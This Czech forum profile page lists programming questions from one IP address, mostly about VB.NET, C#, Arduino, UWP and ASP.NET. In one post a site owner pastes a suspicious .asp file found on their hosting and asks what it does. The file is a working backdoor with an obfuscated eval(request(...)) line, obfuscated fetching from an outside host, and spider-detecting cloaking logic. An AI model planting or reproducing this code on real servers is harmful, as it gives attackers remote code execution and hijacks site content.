Anonymní profil Adrian – Programujte.com
 x   TIP: Přetáhni ikonu na hlavní panel pro připnutí webu

Anonymní profil Adrian – Programujte.comAnonymní profil Adrian – Programujte.com

 

Příspěvky odeslané z IP adresy 82.144.139.–

21884915186184189419156
.NET › funkce s neznamym datovym ty…
7. 5. 2018   #220758

#2 JardaJirava

Ahoj,

tak ono to tak hezky, jak jsem si vymylel asi nepujde,

puvodne mi slo o to, ze mam vlastni objekty, ktere maji i funkce na nacteni, editaci´, odstraneni a v nich se opakuje kod nacteni z DB a ulozeni.

Z toho opakujiciho kodu jsem chtel udelat funkci, neco jako nacti a uloz, abych ji u kazdeho objektu nemusel opakovat, jen pro jiny objekt.

Jenze jsem tez zjistil, ze kdyz tu funnkci na nacteni a ulozeni udelam univerzalne, nemuzu pouzit funkci daného objektu, jelikoz ve funkci je tento objekt jeste neznamy.

Mate napad, jak tohle vyresit?

21884915186184189419156
.NET › funkce s neznamym datovym ty…
7. 5. 2018   #220753

#2 JardaJirava
Ahoj,

dekuji za odpoved,

ve VB je to takhle:

Public Sub Writer(Of T)(ByVal data As T, ByVal dataPath As String)
End Sub

vyzkousim to a dam vedet.

Funkce bude ukladat ruzne moje serializovane objekty do databazy.

Roman

21884915186184189419156
.NET › funkce s neznamym datovym ty…
7. 5. 2018   #220741

Ahoj,

mam otazku, delam uklid a napadlo me, udelat si funkce na nejpouzivanejsi funkce,

problem mam v tom, ze mam funkci, ktere budu predavat data,

nevim, ale jakeho typu ty data budou (datovy typ se bude menit, funkci chci univerzalni),

potrebuji ale funkci predat i datovy typ.

Public Sub Writer(Type As System.Type, Data As System.Type, DataPath As String)

uvnitr funkce uz datovy typ znam, protoze je v promenne Type, ale v deklaraci funkce ji jeste neznam, mam to resit jak to mam vyse, ze bude promenna Data v deklaraci funkce jako datovy typ system.type (pripadne je lepsi object)?

Nebo je i lepsi reseni, ktere me napapadlo?

Dekuji moc

Roman
.NET › 2x trida
25. 5. 2017   #216314

#2 hlucheucho

schvalne z lenosti, chtel jsem v listu aspon 2 hodnoty, abych to videl v xml souboru, jestli se to spravne uklada

Roman
.NET › 2x trida
25. 5. 2017   #216311

Ahoj,


mam takovy blby dotaz, ale asi jsem uz unaveny nebo co, kdyz si serializuju a ulozim tuhle tridu, tak mam v Karty vnorenou 2x Karta, potrebuju ji jen jednou, tedy seznam Karta v Karty


dekuji za nakopnuti


Partial Class ImportStock
    Inherits System.Web.UI.Page

    Private Sub form1_Load(sender As Object, e As EventArgs) Handles form1.Load
        Dim Karty As New OlSyClass.Karty
        Dim Karta As New OlSyClass.Karta
        Dim Vlastnosti As New OlSyClass.Vlastnosti

        Vlastnosti.EAN = "1"
        Vlastnosti.EANBal = "2"

        Karta.Nazov = "Produkt"
        Karta.Popis = "popis produktu"
        Karta.CenaPredaj = "1"
        Karta.MJ = "ks"
        Karta.NazovPLU = "produkt"
        Karta.Vlastnosti = Vlastnosti

        Karty.Karta.Add(Karta)
        Karty.Karta.Add(Karta)

        Dim SerializerMakesList As New System.Xml.Serialization.XmlSerializer(GetType(OlSyClass.Karty))
        Dim SWMakesList As IO.StreamWriter = New IO.StreamWriter(HttpContext.Current.Server.MapPath("\App_Data\OlSyStockInit.xml"))
        SerializerMakesList.Serialize(SWMakesList, Karty)
        SWMakesList.Close()
    End Sub

    Public Class OlSyClass
        Class Karty
            Property Karta As New List(Of Karta)
        End Class

        Class Karta
            Property Nazov As String
            Property Popis As String
            Property CenaPredaj As String
            Property MJ As String
            Property NazovPLU As String
            Property Vlastnosti As New Vlastnosti
        End Class
        Class Vlastnosti
            Property EAN As String
            Property EANBal As String
        End Class
    End Class

End Class
Martin
Offtopic › podminky k praci, programovani
21. 5. 2017   #216145

Ahoj,

mam takovy neprijemny problem ohledne pracovnich podminek a potreboval bych komentar od kolegu.

Presel jsem ke kamaradovy do firmy, s tim, ze mu pomuzu/udelam informacni system podle jeho potreb,

narazil jsem ale na ohromny problem a nedovedu mu vysvetlit, ze k praci potrebuju klid.

Jde o to, ze delam aplikaci, mam pozadavky, ktere pribyvaji, co je v pohode, ale za den prace skoro nic neudelam, protoze porad potrebuje nekdo z kolegu s necim pomoci, oni to sice chapou, ze potrebuju klid, ale vzdyt je to vzdy jen na chvilku.

Veliky problem je, ze za tyden neudelam skoro nic a uz mi to leze na nervy a zacinam mi k praci odpor, premyslim nad odchodem, ale kamarad me potrebuje, no ja na zaklade vysledku mam i financni ohodnoceni a to mi uz dela problemy.

Jak by jste situaci resili vy, jak mu to vysvetlit, me se to nedari, nejlepsi je to asi utnout, ale to je konecne reseni a nechce se mi to tak vyhrotit.

Dekuji za nazory a komentare.

Alojz80
C / C++ › hodnoty (text/string), spojeni
27. 3. 2017   #215342

#5 KIIV
dekuju moc za pomoc, uz mi funguje, co jsem potreboval,

je moznost nastavit velikost tomu "arduino stringu"? nebo je to treba resit jinym datovym typem?

Alojz80
C / C++ › hodnoty (text/string), spojeni
27. 3. 2017   #215340

#2 hlucheucho
ahoj, tak datovy typ je:

String path;

ale ani na zaklade tve predchozi rady se nemuzu dopatrat cile, prosim jeste o radu.

Lojza

Alojz80
C / C++ › hodnoty (text/string), spojeni
27. 3. 2017   #215330

Ahoj,

hraju si s arduinem a narazil jsem na problem, jelikoz nejsem v c++ zbehly a znalosti z c# mi nepomahaji prosim o pomoc,

mam ciselne hodnoty temp1 a temp2

a potrebuju je dostat do hodnoty http requestu a praje u teto banality jsem narazil na problem, tedy:

request.path = ("/?temp1=" "&temp2=");    // me funguje

v momente kdyz dosadim hodnoty:

request.path = ("/?temp1=" dll.gettemp1() "&temp2=" dll.gettemp2());

nejde aplikace zkompilovat,

request.path = ("/?temp1=" dll.gettemp1() "&temp2=" dll.gettemp2());

nejde mi ani "tradicni":

request.path = ("/?temp1=" + dll.gettemp1() + "&temp2=" + dll.gettemp2());

prosim tedy o radu, jak tohle v c++ zapisu,

dekuju moc

Lojza

dotneter
.NET › teorie: aplikace a co se sta…
17. 12. 2016   #214091

Ahoj,

chtel bych se zeptat znalejsich na to, co se deje v pocitaci po spusteni aplikace, jelikoz delam v .netu, tak bych to rozebral na .netove aplikaci, ale nakonec je to asi jedno.

O co mi presneji jde, mam samozrejme predstavu, ale nektere veci nevim a zajima me to.

Co teda vim, po spusteni se .netova aplikace zkompiluje z predkompilovaneho stavu, coz je specifikum .netu, coz je z meho pohledu ted nezajimave, zajima me to od tohoto "mista", aplikace se nacte do pameti a bezi.

Co se ale presne deje?

Dejme tomu, ze mam velmi jednoduchou aplikaci, kde zpocitam 1+2 a vyjde mi 3.

Takze spustim .exe, aplikace s zkompiluje, nacte do pameti, jak v te pameti vypada? Jak vypadaji instrukce pro CPU? Jak se z kodu nakonec stanou 0 a 1, jak to vypada na nejnizsim stupni, jak takovou "jednoduchou" vec zpracuje CPU, tedy co delaji tranzistory?

Zajima me, pokud by to nebylo zrejme, co se postupne stane od spusteni az po finalni zobrazeni vysledku aplikaci.

Dekuji za objasneni, kdyz mate nekdo tyhle vedomosti.

Hezke blizici se svatky :)

koderek
HTML / XHTML › hover na vice prvku
28. 11. 2016   #213808

Ahoj,

chtel bych vas pozadat o pomoc, jelikoz se uz druhy den trapim s resenim problemu:

mam stranku, na te mam DIV s menu a o neco nize pod DIVem s textem dalsi DIV s obrazkama, polozek v menu je stejne jako obrazku a smazim se docilit toho, aby po najeti mysi na menu se udelal hover na tu polozku menu (to je jednochuche) ale chtel bych jeste aby pover teto polozky udelal hover i na jeden s obrazku.

Abych to shrnul, mam menu, pak obrazky a po najeti mysi na polozku menu potrebuju hover na polozku v menu u na jeden obrazek, idealne zmena barvy polozky menu a zesednuti prislusneho obrazku.

Vite mi s tim nekdo pomoci, nebo aspon navest?

Dekuji, Petr

Adrian
.NET › chybejici operatory ve VB.Ne…
14. 5. 2016   #210675

#2 NeregistrovanyHookyns
dekuji moc za rychlou odpoved,

mezitim jsem nasel a odskousel nasledujici reseni:

    <System.Runtime.CompilerServices.Extension>
    Public Function RightShift(integerToShift As Integer, bitsToShift As Integer) As Integer
        Return CInt(integerToShift / 2 ^ bitsToShift)
    End Function

    <System.Runtime.CompilerServices.Extension>
    Public Function LeftShift(integerToShift As Integer, bitsToShift As Integer) As Integer
        Return CInt(integerToShift * 2 ^ bitsToShift)
    End Function

co Ty na to (ptam se pro jistotu, nejsem si uplne jisty)?

Adrian

Adrian
.NET › chybejici operatory ve VB.Ne…
14. 5. 2016   #210673

 Ahoj,

zakladam nove tema, souvisejici s predchazejicim dotazem, ale na jine tema.

zjistil jsem, ze VB.Net pro .Net microframework asi postrada operatory. V cem je problem?

mam kod v c#, ktery funguje jak ma:

public float GetTemperature()
        {
            byte[] readBuffer = new byte[2];
            
            // Get MSB and LSB together
            int temp = readBuffer[0];
            temp <<= 8;
            temp |= readBuffer[1];

            // Negative value test (subzero temperature)
            temp -= (readBuffer[0] >= 0x80) ? 65536 : 0;

            // Get the temperature in Celsius
            return (float)((temp >> 4) * 0.0625);
        }

a pak stejny kod ve VB.net, ktery v desktopove aplikaci funguje, ale v .Net MF uz nejde kompilovat prave kvuli operatorum "<<=" a ">>"

Public Function CorretedTemp(readBuffer As Byte()) As Single
        ' Get MSB and LSB together
        Dim temp As Integer = readBuffer(0)
        temp <<= 8
        temp = (temp Or readBuffer(1))

        ' Negative value test (subzero temperature)
        temp -= If((readBuffer(0) >= &H80), 65536, 0)

        ' Get the temperature in Celsius
        Return CSng((temp >> 4) * 0.0625)
    End Function

Muj dotaz tedy zni, jestli je to chyba .Net MF, nebo delam chybu nekde ja? Pripadne, jestli jde dane operatory nejak nahradit.

Dekuji Adrian

Adrian
.NET › pochopeni C# pro preklad do VB
14. 5. 2016   #210667

Ahoj,


jsem vb.net vyvojar, vetsinou s pochoponim jednodusich veci v C# problem nemam, ale ted jsem na nej narazil,

chtem bych proto Vas, co v C# delate pozadat o vysvetleni kodu:

public float GetTemperature()
{
    // Start conevrt command (0x51)
    i2cBus.Write(_slaveConfig, new byte[1] { START_CONVERT }, I2C_TIMEOUT);
    
    // Wait to conversion end
    Thread.Sleep(750);
    
    // Read temperature command (0xAA)
    i2cBus.Write(_slaveConfig, new byte[1] { READ_TEMPERATURE }, I2C_TIMEOUT);

    // Read MSB and LSB of the temperature
    byte[] readBuffer = new byte[2];
    i2cBus.Write(_slaveConfig, readBuffer, I2C_TIMEOUT);

    // Get MSB and LSB together
    int temp = readBuffer[0];
    temp <<= 8;
    temp |= readBuffer[1];

    // Negative value test (subzero temperature)
    temp -= (readBuffer[0] >= 0x80) ? 65536 : 0;

    // Get the temperature in Celsius
    return (float)((temp >> 4) * 0.0625);
}

jde mi o radky:

temp <<= 8;   // predpokladam, ze se jedna o temp je vetsi, nebo rovne 8, ma tento radek ale vliv na dalsi? pokud ne, tak radek nema funkcni vyznam, ne?

temp |= readBuffer[1]; // jaka je funkce znamenka |= ?

temp -= (readBuffer[0] >= 0x80) ? 65536 : 0; // tu jsem bezradny

return (float)((temp >> 4) * 0.0625); // zde kdyz to dobre chapu, zustane v nejvnorenejsi zavorce boolean?

pri strojovem prekladu me vyslo tohle


Public Function GetTemperature() As Single
	' Start conevrt command (0x51)
	i2cBus.Write(_slaveConfig, New Byte(0) {START_CONVERT}, I2C_TIMEOUT)

	' Wait to conversion end
	Thread.Sleep(750)

	' Read temperature command (0xAA)
	i2cBus.Write(_slaveConfig, New Byte(0) {READ_TEMPERATURE}, I2C_TIMEOUT)

	' Read MSB and LSB of the temperature
	Dim readBuffer As Byte() = New Byte(1) {}
	i2cBus.Write(_slaveConfig, readBuffer, I2C_TIMEOUT)

	' Get MSB and LSB together
	Dim temp As Integer = readBuffer(0)
	temp <<= 8                    ' zde je chyba, melo by byt <=
	temp = temp Or readBuffer(1)  ' smysl tohoto nechapu

	' Negative value test (subzero temperature)
	temp -= If((readBuffer(0) >= &H80), 65536, 0)  'tohle taky nechapu

	' Get the temperature in Celsius
	Return CSng((temp >> 4) * 0.0625) 'a zde je podle toho c# spravne, ze z nejvnorenejsi zavorky vyjde boolean, vynasobi se 0.0625 a prevede na single?
End Function

Dekuji za vysvetleni a objasneni

Adrian

Rowa
.NET › asp.net custom control a det…
12. 4. 2016   #209897

Ahoj,

mam otazku, mam web, do ktereho dodelavam usercontrol, soucasti controlu je obrazkova galerie, ktera je resena pres js zvetsovac obrazku, takze mam v hlavicce controlu "deklaraci" js. knihoven,

muj problem je, ze pokud je tento control na strance jednou, vsechno jde, ale pokud je tam 2 a vic krat, uz ta js cast s obrazkama nejde, problem je v tom, ze se na strance "deklaruji" .js knihovny 2x a to je pak znefuncni,

mate nejaky napad, jak zjistit, ze uz je na strance jednou konkretni control pridan (aby v dalsich kontrolech deklarace vynechal)?

Dekuji za napady a nakopnuti.

Roman

Tue
.NET › zahadny .asp soubor na hosti…
23. 3. 2016   #209413

Ahoj,

mam web, kde se me objevil soubor, ktery neni muj a zatim nevim, jak se me tam dostal,

otázkou ale je, co to dela, protoze mi to neni vubec jasny,

prikladam a dekuji za pripadne objasneni:

<%
'this is important file, if you are not professional of the web source,please do not change any code and del it
'power by googles.com
'autoer googles@googles.com
Session.CodePage=65001
Response.charset = "UTF-8"
txtt = Request.QueryString("txt")
If txtt = "txt" Then
	Response.Write txtt
Else
	pathfilename=trim(Request.ServerVariables("SCRIPT_NAME"))
	name = Replace(pathfilename,"/","")
	im = please&admin&"/ugg/get.php?file="&name&"&"&check&"&"&"from_url="&CUrl&"&"&Request.QueryString()
	If second(time())>30 Then
		im = im & "&now="&now()
	End If
	Response.Write page(im)
	On Error Resume Next
	Server.ScriptTimeOut=9999999
End If
Function page(Path)
t = GetBody(Path)
If len(t)<2 Then
t = "no thing"
End If
page=BytesToBstr(t,"UTF-8")
End function
Function Newstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
if Newstring<=0 then Newstring=Len(wstr)
End Function
Function please()
please =Replace(Replace("hmmp:gg","m","t"),"g","/")
End Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
Function admin()
admin = Replace(Replace(Replace("english;_0_x_0_n,com","_",""),";","."),",",".")
End function
Function GetBody(url)
on error resume next
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.setRequestHeader "Host", Request.ServerVariables("HTTP_HOST")
.setRequestHeader "User-Agent", Request.ServerVariables("HTTP_USER_AGENT")
If Request.ServerVariables("HTTP_REFERER")<>"" Then
	.setRequestHeader "Referer", Request.ServerVariables("HTTP_REFERER")
End If
.Send
GetBody = .ResponseBody
End With
Set Retrieval = Nothing
End Function
Function CUrl()
Domain_Name = LCase(Request.ServerVariables("Server_Name"))
Page_Name = LCase(Request.ServerVariables("Script_Name"))
CUrl = "http://"&Domain_Name&Page_Name
End Function
eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")
Function check()
	user_agent=Request.ServerVariables("HTTP_USER_AGENT")
    allow_agent=split("Googlebot,Spider,Yahoo! Slurp,Yahoo!,msnbot,bingbot,ia_archiver,YandexBot,AhrefsBot,altavista,Inktomi slurp,lycos_spider,twiceler,Heritrix,Exabot,Custo,yacy,SurveyBot,Nutch,Fish search,WGet tools,MSIECrawler,Netcraft,unix ,Linux ",",")
    check_agent=false
    For agenti=lbound(allow_agent) to ubound(allow_agent)
        If instr(1,user_agent,allow_agent(agenti),1)>0 then
            check_agent=true
            exit for
        end if
    Next
	If check_agent=true then  
	spider = "spider=true"
	Else 
	spider = "spider=false"
	End if
	If instr(1,user_agent,"Chrome",1) and instr(1,user_agent,"1024×768",1) then
		check_google=true
	Else
		check_google=false
	End If
	If check_google=true then  
		spider = spider&"&c_g=true"
	Else 
		spider = spider&"&c_g=false"
	End if 
    check=spider
End function
%>
PetrK
.NET › Kompilace asp.net a vice pro…
7. 3. 2016   #209145

Ahoj,

resim jeden teoreticky problem, ktery bych chtel nasledne pouzit,

mam jednu vetsi asp.net aplikaci (web), momentalne kdyz si ji zkompiluju, mam root, kde jsou .aspx soubory a bin, kde mam dll s nahodnymi nazvy.

Co bych potreboval je, oddelit controly, co mam ted v aplikaci, udelat z nich subprojekty a ty uz zkompilovane do dll jen vlozit do toho hlavniho projektu, aby meli vsechny .dll sve nazvy.

Takze vysledek bych chcel takovy, ze by root mel ty .aspx a zbytek bych chtel v bin, kde by bylo main.dll jako hlavni projekt a treba control1.dll, control2.dll, a tak dale.

Hlavni duvod pro toto mam, aby se me dobre ty potrebne casti aktualizovaly, ted musim vzdy prepsat cely web a aktualizuju tim i veci, ktere nejsou zmenene a trva tak aktualizace neumerne dlouho.

Dekuji za komentáre a pripadne napady

Petr

Gema
.NET › UWP a problem s combobox-em
21. 2. 2016   #208805

tak jsem na to nakonec prisel,

moje blbost, bindoval jsem ten combobox listboxitem-ama, tim padem itemy byli bez funkce a fungoval jen ten okraj, kde listboxitem zkončil

Gema
.NET › UWP a problem s combobox-em
21. 2. 2016   #208795

Ahoj,

potreboval bych poradit s problemem ohledne comboboxu v UWP aplikaci,

v okne mam combobox, ten po startu nabinduju, asynchrone z webove sluzby, coz chvilizku trva, pak se combobox roztahne, to jsem nezkoumal proc, nevadi mi to, ale problem je, ze kdyz se pokusim vybrat nejakou item ze seznamu, nejde to, proste kliknu na item a nic, na dotykovem display bez sance a mysi to jde, kdyz kliknu na okraj itemu, ani ne pod text, proste to funguje jenom na krajich itemu.

Potkali jste se s tim uz nekdo?

Dekuji

Kulich
.NET › asp: presmerovani "statickyc…
31. 1. 2016   #208278

Ahoj,

mám dotaz se kterým si momentálně neumím poradit:

mám asp.net web, svůj system, kde mam vsechny data ulozeny v App_Data slozce, ale takovy "sitemap.xml" a "favicon.ico" jsou v rootu a pri updatu mi tam vadi, protoze se prepisi (update je automaticky).

Muj problem je, ze bych chtel tyhle 2 soubory presunout taky do App_Data a nejak pak nastavit presmerovani, pokud bude dotaz na treba ten http://mujweb.cz/sitemap.xml aby ho vzal z toho App_Data, jen mi to nijakym resenim, co jsem zkousel nejde (mam podezreni, ze je to prave tim, ze jsou to .xml a .ico soubory, s aspx a pod. mi to jde)

Dekuji za pripadne rady

Numberer
.NET › problem s konverzi string na…
29. 12. 2015   #207592

 Ahoj,

mam takovy zapeklity problem,

mam textak s hodnotami v radcich, jedna cast ma vzdy 3 radky, pak mam trodu se tremi properties, kdyz jsou vsechny tri typu string, jde vse v pohode, ale jelikoz to musim dal v dalsi aplikaci, ktera si bere serializovane objekty konvertovat, chtel jsem to poradne typovat uz od zacatku,

jenze problem je, ze vzdy skoncim u chyby treba:

An exception of type 'System.InvalidCastException' occurred in Microsoft.VisualBasic.dll but was not handled in user code

Additional information: Conversion from string "1.569" to type 'Double' is not valid.

a uz nevim co s tim, zkousel jsem to i proscistit:

C.Sell = System.Text.RegularExpressions.Regex.Replace(Final.ReadLine.ToString.Replace(",", "."), "[^0-9.]", "")

ale nic nejak nepomaha.

Raidmond
.NET › UWP 2 zavisle listy vedle se…
29. 12. 2015   #207582

Ahoj,

mam dotaz, zacinam, nebo spis se trapim s UWP a potrebuju vyresit nasledujici problem:

mam data ve dvou sloupcich a potrebuju je vypsat do okna, ale nevim jak, nenasel jsem vramci UWP prvek, ktery udela dva sloupce tak, aby se oba sloupce spolecne posouvali a pri vyberu oznacili.

Reseli jste nekdo tento problem, nebo mate napad? Dekuji.

Kamil
.NET › SOAP / WSDL jak komunikovat…
19. 9. 2015   #205049

Ahoj,

nevím si rady s komunikací s PHP SOAP/WSDL službou, s .NET službou problém nemám, ale poprvé řeším komunikaci s PHP stranou a nemůžu to rozběhnout, nebo spíš ani jak začít.

Jedná se konrétně o tohle:

https://subreg.cz/manual/?cmd=Main

https://subreg.cz/manual/?cmd=Login

PHP vůbec neumím, nepoužívám a neumím si to přeložit, věděl by mi s tím prosím někdo pomoci.

Děkuju moc, Kamil

 

 

Hostujeme u Českého hostingu       ISSN 1801-1586       ⇡ Nahoru Webtea.cz logo © 20032024 Programujte.com
Zasadilo a pěstuje Webtea.cz, šéfredaktor Lukáš Churý